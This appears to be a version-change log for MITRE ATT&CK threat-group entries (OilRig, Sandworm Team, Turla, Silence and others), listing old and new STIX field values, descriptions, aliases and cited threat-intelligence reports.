| external_references | {'source_name': 'ClearSky Charming Kitten Dec 2017', 'description': 'ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.', 'url': 'http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf'} | |
| external_references | {'source_name': 'Eweek Newscaster and Charming Kitten May 2014', 'description': 'Kerner, S. (2014, May 29). Newscaster Threat Uses Social Media for Intelligence Gathering. Retrieved April 14, 2021.', 'url': 'https://www.eweek.com/security/newscaster-threat-uses-social-media-for-intelligence-gathering'} | |
| external_references | {'source_name': 'ClearSky Kittens Back 2 Oct 2019', 'description': 'ClearSky Research Team. (2019, October 1). The Kittens Are Back in Town2 - Charming Kitten Campaign KeepsGoing on, Using New Impersonation Methods. Retrieved April 21, 2021.', 'url': 'https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf'} | |
| external_references | {'source_name': 'IBM ITG18 2020', 'description': 'Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021.', 'url': 'https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/'} | |
| external_references | {'source_name': 'Microsoft Phosphorus Mar 2019', 'description': 'Burt, T. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020.', 'url': 'https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/'} | |
| external_references | {'source_name': 'Microsoft Phosphorus Oct 2020', 'description': 'Burt, T. (2020, October 28). Cyberattacks target international conference attendees. Retrieved March 8, 2021.', 'url': 'https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/'} | |
| external_references | {'source_name': 'US District Court of DC Phosphorus Complaint 2019', 'description': 'US District Court of DC. (2019, March 14). MICROSOFT CORPORATION v. JOHN DOES 1-2, CONTROLLING A COMPUTER NETWORK AND THEREBY INJURING PLAINTIFF AND ITS CUSTOMERS. Retrieved March 8, 2021.', 'url': 'https://noticeofpleadings.com/phosphorus/files/Complaint.pdf'} | |
| x_mitre_contributors | Anastasios Pingios |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Rocket Kitten |
Current version: 3.0
Version changed from: 1.4 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [OilRig](https://attack.mitre.org/groups/G0049) is a suspect | t | 1 | [OilRig](https://attack.mitre.org/groups/G0049) is a suspect |
| > | ed Iranian threat group that has targeted Middle Eastern and | > | ed Iranian threat group that has targeted Middle Eastern and | ||
| > | international victims since at least 2014. The group has ta | > | international victims since at least 2014. The group has ta | ||
| > | rgeted a variety of industries, including financial, governm | > | rgeted a variety of sectors, including financial, government | ||
| > | ent, energy, chemical, and telecommunications, and has large | > | , energy, chemical, and telecommunications. It appears the g | ||
| > | ly focused its operations within the Middle East. It appears | > | roup carries out supply chain attacks, leveraging the trust | ||
| > | the group carries out supply chain attacks, leveraging the | > | relationship between organizations to attack their primary t | ||
| > | trust relationship between organizations to attack their pri | > | argets. FireEye assesses that the group works on behalf of t | ||
| > | mary targets. FireEye assesses that the group works on behal | > | he Iranian government based on infrastructure details that c | ||
| > | f of the Iranian government based on infrastructure details | > | ontain references to Iran, use of Iranian infrastructure, an | ||
| > | that contain references to Iran, use of Iranian infrastructu | > | d targeting that aligns with nation-state interests. (Citati | ||
| > | re, and targeting that aligns with nation-state interests. ( | > | on: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig | ||
| > | Citation: Palo Alto OilRig April 2017) (Citation: ClearSky O | > | Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: P | ||
| > | ilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citat | > | alo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 20 | ||
| > | ion: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook | > | 17) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUA | ||
| > | Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit | > | DAGENT July 2018) | ||
| > | 42 QUADAGENT July 2018) This group was previously tracked un | ||||
| > | der two distinct groups, APT34 and OilRig, but was combined | ||||
| > | due to additional reporting giving higher confidence about t | ||||
| > | he overlap of the activity. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 23:59:31.684000+00:00 | 2021-10-15 22:04:08.941000+00:00 |
| description | [OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. | [OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) |
| external_references[2]['source_name'] | IRN2 | COBALT GYPSY |
| external_references[2]['description'] | (Citation: Crowdstrike Helix Kitten Nov 2018) | (Citation: Secureworks COBALT GYPSY Threat Profile) |
| external_references[3]['source_name'] | HELIX KITTEN | IRN2 |
| external_references[3]['description'] | (Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018) | (Citation: Crowdstrike Helix Kitten Nov 2018) |
| external_references[4]['source_name'] | APT34 | HELIX KITTEN |
| external_references[4]['description'] | This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017) | (Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018) |
| external_references[5]['source_name'] | Palo Alto OilRig April 2017 | APT34 |
| external_references[5]['description'] | Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017. | This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017)(Citation: Check Point APT34 April 2021) |
| external_references[6]['source_name'] | ClearSky OilRig Jan 2017 | Palo Alto OilRig April 2017 |
| external_references[6]['description'] | ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017. | Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017. |
| external_references[6]['url'] | http://www.clearskysec.com/oilrig/ | http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/ |
| external_references[7]['source_name'] | Palo Alto OilRig May 2016 | ClearSky OilRig Jan 2017 |
| external_references[7]['description'] | Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017. | ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017. |
| external_references[7]['url'] | http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/ | http://www.clearskysec.com/oilrig/ |
| external_references[8]['source_name'] | Palo Alto OilRig Oct 2016 | Palo Alto OilRig May 2016 |
| external_references[8]['description'] | Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017. | Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017. |
| external_references[8]['url'] | http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/ | http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/ |
| external_references[9]['source_name'] | Unit 42 Playbook Dec 2017 | Palo Alto OilRig Oct 2016 |
| external_references[9]['description'] | Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017. | Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017. |
| external_references[9]['url'] | https://pan-unit42.github.io/playbook_viewer/ | http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/ |
| external_references[10]['source_name'] | FireEye APT34 Dec 2017 | Unit 42 Playbook Dec 2017 |
| external_references[10]['description'] | Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. | Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017. |
| external_references[10]['url'] | https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html | https://pan-unit42.github.io/playbook_viewer/ |
| external_references[11]['source_name'] | Unit 42 QUADAGENT July 2018 | FireEye APT34 Dec 2017 |
| external_references[11]['description'] | Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018. | Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. |
| external_references[11]['url'] | https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/ | https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html |
| external_references[12]['source_name'] | Crowdstrike Helix Kitten Nov 2018 | Unit 42 QUADAGENT July 2018 |
| external_references[12]['description'] | Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018. | Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018. |
| external_references[12]['url'] | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/ | https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/ |
| x_mitre_version | 1.4 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | COBALT GYPSY | |
| external_references | {'source_name': 'Secureworks COBALT GYPSY Threat Profile', 'description': 'Secureworks. (n.d.). COBALT GYPSY Threat Profile. Retrieved April 14, 2021.', 'url': 'https://www.secureworks.com/research/threat-profiles/cobalt-gypsy'} | |
| external_references | {'source_name': 'Crowdstrike Helix Kitten Nov 2018', 'description': 'Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.', 'url': 'https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/'} | |
| external_references | {'source_name': 'Check Point APT34 April 2021', 'description': 'Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.', 'url': 'https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/'} |
Current version: 2.1
Version changed from: 1.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a | t | 1 | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a |
| > | destructive Russian threat group that has been attributed to | > | destructive threat group that has been attributed to Russia' | ||
| > | Russian GRU Unit 74455 by the U.S. Department of Justice an | > | s General Staff Main Intelligence Directorate (GRU) Main Cen | ||
| > | d U.K. National Cyber Security Centre. [Sandworm Team](https | > | ter for Special Technologies (GTsST) military unit 74455.(Ci | ||
| > | ://attack.mitre.org/groups/G0034)'s most notable attacks inc | > | tation: US District Court Indictment GRU Unit 74455 October | ||
| > | lude the 2015 and 2016 targeting of Ukrainian electrical com | > | 2020)(Citation: UK NCSC Olympic Attacks October 2020) This g | ||
| > | panies and 2017's [NotPetya](https://attack.mitre.org/softwa | > | roup has been active since at least 2009.(Citation: iSIGHT S | ||
| > | re/S0368) attacks. [Sandworm Team](https://attack.mitre.org/ | > | andworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: U | ||
| > | groups/G0034) has been active since at least 2009.(Citation: | > | SDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020) I | ||
| > | iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Ci | > | n October 2020, the US indicted six GRU Unit 74455 officers | ||
| > | tation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb | > | associated with [Sandworm Team](https://attack.mitre.org/gro | ||
| > | 2020) | > | ups/G0034) for the following cyber operations: the 2015 and | ||
| > | 2016 attacks against Ukrainian electrical companies and gove | ||||
| > | rnment organizations, the 2017 worldwide [NotPetya](https:// | ||||
| > | attack.mitre.org/software/S0368) attack, targeting of the 20 | ||||
| > | 17 French presidential campaign, the 2018 [Olympic Destroyer | ||||
| > | ](https://attack.mitre.org/software/S0365) attack against th | ||||
| > | e Winter Olympic Games, the 2018 operation against the Organ | ||||
| > | isation for the Prohibition of Chemical Weapons, and attacks | ||||
| > | against the country of Georgia in 2018 and 2019.(Citation: | ||||
| > | US District Court Indictment GRU Unit 74455 October 2020)(Ci | ||||
| > | tation: UK NCSC Olympic Attacks October 2020) Some of these | ||||
| > | were conducted with the assistance of GRU Unit 26165, which | ||||
| > | is also referred to as [APT28](https://attack.mitre.org/grou | ||||
| > | ps/G0007).(Citation: US District Court Indictment GRU Oct 20 | ||||
| > | 18) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-04 01:56:59.493000+00:00 | 2021-10-15 21:46:19.437000+00:00 |
| description | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive Russian threat group that has been attributed to Russian GRU Unit 74455 by the U.S. Department of Justice and U.K. National Cyber Security Centre. [Sandworm Team](https://attack.mitre.org/groups/G0034)'s most notable attacks include the 2015 and 2016 targeting of Ukrainian electrical companies and 2017's [NotPetya](https://attack.mitre.org/software/S0368) attacks. [Sandworm Team](https://attack.mitre.org/groups/G0034) has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020) | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020) In October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018) |
| external_references[1]['description'] | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014) | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[2]['description'] | (Citation: Dragos ELECTRUM) | (Citation: Dragos ELECTRUM)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[3]['description'] | (Citation: NCSC Sandworm Feb 2020) | (Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[4]['description'] | (Citation: Secureworks IRON VIKING ) | (Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[5]['description'] | (Citation: NCSC Sandworm Feb 2020) | (Citation: NCSC Sandworm Feb 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[6]['description'] | Based on similarities between TTPs, malware, and targeting, Sandworm Team and Quedagh appear to refer to the same group. (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[7]['description'] | (Citation: CrowdStrike VOODOO BEAR) | (Citation: CrowdStrike VOODOO BEAR)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[8]['source_name'] | iSIGHT Sandworm 2014 | US District Court Indictment GRU Unit 74455 October 2020 |
| external_references[8]['description'] | Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017. | Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020. |
| external_references[8]['url'] | https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html | https://www.justice.gov/opa/press-release/file/1328521/download |
| external_references[9]['source_name'] | CrowdStrike VOODOO BEAR | UK NCSC Olympic Attacks October 2020 |
| external_references[9]['description'] | Meyers, A. (2018, January 19). Meet CrowdStrike’s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018. | UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020. |
| external_references[9]['url'] | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/ | https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games |
| external_references[10]['source_name'] | USDOJ Sandworm Feb 2020 | iSIGHT Sandworm 2014 |
| external_references[10]['description'] | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020. | Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017. |
| external_references[10]['url'] | https://www.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/ | https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html |
| external_references[11]['source_name'] | NCSC Sandworm Feb 2020 | CrowdStrike VOODOO BEAR |
| external_references[11]['description'] | NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020. | Meyers, A. (2018, January 19). Meet CrowdStrike’s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018. |
| external_references[11]['url'] | https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/ |
| external_references[12]['source_name'] | F-Secure BlackEnergy 2014 | USDOJ Sandworm Feb 2020 |
| external_references[12]['description'] | F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016. | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020. |
| external_references[12]['url'] | https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf | https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html |
| external_references[13]['source_name'] | InfoSecurity Sandworm Oct 2014 | NCSC Sandworm Feb 2020 |
| external_references[13]['description'] | Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian ‘Sandworm’ Hackers. Retrieved October 6, 2017. | NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020. |
| external_references[13]['url'] | https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/ | https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory |
| external_references[14]['source_name'] | Dragos ELECTRUM | US District Court Indictment GRU Oct 2018 |
| external_references[14]['description'] | Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020. | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. |
| external_references[14]['url'] | https://www.dragos.com/resource/electrum/ | https://www.justice.gov/opa/page/file/1098481/download |
| external_references[15]['source_name'] | Secureworks IRON VIKING | F-Secure BlackEnergy 2014 |
| external_references[15]['description'] | Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020. | F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016. |
| external_references[15]['url'] | https://www.secureworks.com/research/threat-profiles/iron-viking | https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf |
| x_mitre_version | 1.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'InfoSecurity Sandworm Oct 2014', 'description': 'Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian ‘Sandworm’ Hackers. Retrieved October 6, 2017.', 'url': 'https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/'} | |
| external_references | {'source_name': 'Dragos ELECTRUM', 'description': 'Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020.', 'url': 'https://www.dragos.com/resource/electrum/'} | |
| external_references | {'source_name': 'Secureworks IRON VIKING ', 'description': 'Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020.', 'url': 'https://www.secureworks.com/research/threat-profiles/iron-viking'} |
Current version: 2.1
Version changed from: 1.1 → 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 20:30:06.863000+00:00 | 2021-05-26 19:54:55.580000+00:00 |
| external_references[2]['source_name'] | Cyber Forensicator Silence Jan 2019 | WHISPER SPIDER |
| external_references[2]['description'] | Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019. | (Citation: Crowdstrike GTR2020 Mar 2020) |
| external_references[3]['source_name'] | SecureList Silence Nov 2017 | Cyber Forensicator Silence Jan 2019 |
| external_references[3]['description'] | GReAT. (2017, November 1). Silence – a new Trojan attacking financial organizations. Retrieved May 24, 2019. | Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019. |
| external_references[3]['url'] | https://securelist.com/the-silence/83009/ | https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/ |
| x_mitre_version | 1.1 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | WHISPER SPIDER | |
| external_references | {'source_name': 'SecureList Silence Nov 2017', 'description': 'GReAT. (2017, November 1). Silence – a new Trojan attacking financial organizations. Retrieved May 24, 2019.', 'url': 'https://securelist.com/the-silence/83009/'} | |
| external_references | {'source_name': 'Crowdstrike GTR2020 Mar 2020', 'description': 'Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.', 'url': 'https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf'} |
Current version: 1.3
Version changed from: 1.1 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 20:39:02.606000+00:00 | 2021-10-14 20:27:57.195000+00:00 |
| x_mitre_version | 1.1 | 1.3 |
Current version: 1.5
Version changed from: 1.3 → 1.5
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:47:04.337000+00:00 | 2021-10-12 19:21:39.120000+00:00 |
| external_references[12]['url'] | https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/ | https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/ |
| external_references[14]['description'] | Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019. | Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019. |
| x_mitre_version | 1.3 | 1.5 |
Current version: 2.1
Version changed from: 1.4 → 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://securelist.com/the-epic-turla-operation/65545/ | |
| external_references | https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 20:25:26.398000+00:00 | 2021-08-27 14:36:25.289000+00:00 |
| external_references[2]['source_name'] | Waterbug | Group 88 |
| external_references[2]['description'] | Based similarity in TTPs and malware used, Turla and Waterbug appear to be the same group.(Citation: Symantec Waterbug) | (Citation: Leonardo Turla Penquin May 2020) |
| external_references[3]['source_name'] | WhiteBear | Belugasturgeon |
| external_references[3]['description'] | WhiteBear is a designation used by Securelist to describe a cluster of activity that has overlaps with activity described by others as Turla, but appears to have a separate focus.(Citation: Securelist WhiteBear Aug 2017) | (Citation: Accenture HyperStack October 2020) |
| external_references[4]['source_name'] | VENOMOUS BEAR | Waterbug |
| external_references[4]['description'] | (Citation: CrowdStrike VENOMOUS BEAR) | Based similarity in TTPs and malware used, Turla and Waterbug appear to be the same group.(Citation: Symantec Waterbug) |
| external_references[5]['source_name'] | Snake | WhiteBear |
| external_references[5]['description'] | (Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla PowerShell May 2019) | WhiteBear is a designation used by Securelist to describe a cluster of activity that has overlaps with activity described by others as Turla, but appears to have a separate focus.(Citation: Securelist WhiteBear Aug 2017) |
| external_references[6]['source_name'] | Krypton | VENOMOUS BEAR |
| external_references[7]['source_name'] | Kaspersky Turla | Snake |
| external_references[7]['description'] | Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014. | (Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla PowerShell May 2019) |
| external_references[8]['source_name'] | ESET Gazer Aug 2017 | Krypton |
| external_references[8]['description'] | ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017. | (Citation: CrowdStrike VENOMOUS BEAR) |
| external_references[9]['source_name'] | CrowdStrike VENOMOUS BEAR | Kaspersky Turla |
| external_references[9]['description'] | Meyers, A. (2018, March 12). Meet CrowdStrike’s Adversary of the Month for March: VENOMOUS BEAR. Retrieved May 16, 2018. | Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014. |
| external_references[9]['url'] | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/ | https://securelist.com/the-epic-turla-operation/65545/ |
| external_references[10]['source_name'] | ESET Turla Mosquito Jan 2018 | ESET Gazer Aug 2017 |
| external_references[10]['description'] | ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018. | ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017. |
| external_references[10]['url'] | https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf | https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf |
| external_references[11]['source_name'] | Symantec Waterbug | CrowdStrike VENOMOUS BEAR |
